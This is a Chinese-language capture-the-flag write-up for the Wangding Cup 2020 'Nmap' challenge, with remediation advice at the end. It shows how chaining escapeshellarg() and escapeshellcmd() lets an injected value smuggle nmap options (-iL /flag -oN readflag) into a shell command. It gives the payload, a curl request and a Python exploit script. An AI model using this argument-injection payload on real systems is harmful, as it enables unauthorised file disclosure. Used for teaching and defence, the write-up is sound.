网鼎杯 2020 朱雀组 Nmap:escapeshell 参数逃逸题解

一、题目信息

题目首页只有一个输入框,用来提交 host 参数进行扫描。页面源码中提示:

1
<!-- flag is in /flag -->

结合题目名 Nmap,可以判断后端大概率会调用 nmap 对用户输入的主机进行扫描。本题目标是通过 host 参数影响后端命令执行逻辑,从而读取 /flag

二、功能分析

首页表单如下:

1
2
3
<form id="scanform" class="form-inline" action="?" method="POST">
<input type="text" name="host" class="input-large" placeholder="hostname / IP">
</form>

后端可能执行类似命令:

1
nmap -Pn -T4 -F --host-timeout 1000ms <host>

同时结合 /list.php/result.php 等页面行为,可以推测扫描结果会被保存成文件,因此后端可能还添加了输出参数。

三、漏洞核心

这题的关键点有两个:

  • nmap 自带从文件读取目标的参数。
  • escapeshellarg()escapeshellcmd() 连用时可能产生参数逃逸。

1. nmap 关键参数

nmap 中有两个比较关键的参数:

1
2
-iL    从文件中读取扫描目标
-oN 以普通文本格式输出扫描结果

例如:

1
nmap -iL /flag -oN readflag

这条命令会尝试把 /flag 文件中的内容当成扫描目标。如果 /flag 中是一行 flag{...},那么 nmap 会把它当成主机名解析。由于它不是合法主机名,最终会在报错中回显原内容。

2. escapeshell 函数问题

题目后端常见写法可能类似:

1
2
3
$host = escapeshellarg($_POST['host']);
$host = escapeshellcmd($host);
system("nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/xxxx " . $host);

很多时候会误以为两个过滤函数一起使用更安全,但在这里反而可能破坏参数边界。

输入:

1
127.0.0.1' -iL /flag -oN readflag

经过 escapeshellarg() 后,输入会被当成一个整体参数包裹。再经过 escapeshellcmd() 时,引号和反斜杠被再次处理,原本应该作为一个参数的内容被拆开,导致后面的:

1
-iL /flag -oN readflag

逃逸成真正的 nmap 命令参数。

四、Payload 构造

最终 payload:

1
127.0.0.1' -iL /flag -oN readflag

含义如下:

片段 作用
127.0.0.1 原本合法的扫描目标
' 配合过滤逻辑造成参数边界破坏
-iL /flag 让 nmap 从 /flag 读取目标
-oN readflag 将扫描结果写入 readflag

五、利用过程

1. 浏览器提交

在首页输入框提交:

1
127.0.0.1' -iL /flag -oN readflag

提交后访问生成的结果文件:

1
/readflag

页面中可以看到类似内容:

1
2
Failed to resolve "flag{...}".
WARNING: No targets were specified, so 0 hosts scanned.

其中 Failed to resolve 后面的内容就是 /flag 文件内容。

2. curl 提交

1
2
curl -X POST "http://target/" \
-d "host=127.0.0.1' -iL /flag -oN readflag"

然后访问:

1
http://target/readflag

六、EXP 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import re
import requests

url = "http://target/"
payload = "127.0.0.1' -iL /flag -oN readflag"

s = requests.Session()
s.post(url, data={"host": payload}, allow_redirects=False)

res = s.get(url + "readflag").text
print(res)

flag = re.search(r"flag\{.*?\}", res)
if flag:
print("flag =", flag.group(0))

七、修复建议

从真实开发角度看,这类问题应该这样修复:

  • 不要把用户输入直接拼接进系统命令。
  • 如果必须调用命令行工具,应使用参数数组方式传参。
  • host 做严格白名单校验,只允许合法 IP 或域名。
  • 不要混用 escapeshellarg()escapeshellcmd() 来“叠加安全”。
  • 输出文件名由后端生成,不允许用户控制。

八、总结

这题不是简单的命令拼接,而是利用了 nmap 参数能力和 PHP 过滤函数连用后的参数逃逸问题。最终通过 -iL /flag 读取 flag,再通过 -oN readflag 将错误信息写入 Web 可访问文件,从而完成文件读取。

这类题提醒我:安全过滤不能只看“有没有调用过滤函数”,还要看过滤函数的使用顺序、命令参数边界和被调用工具自身的功能。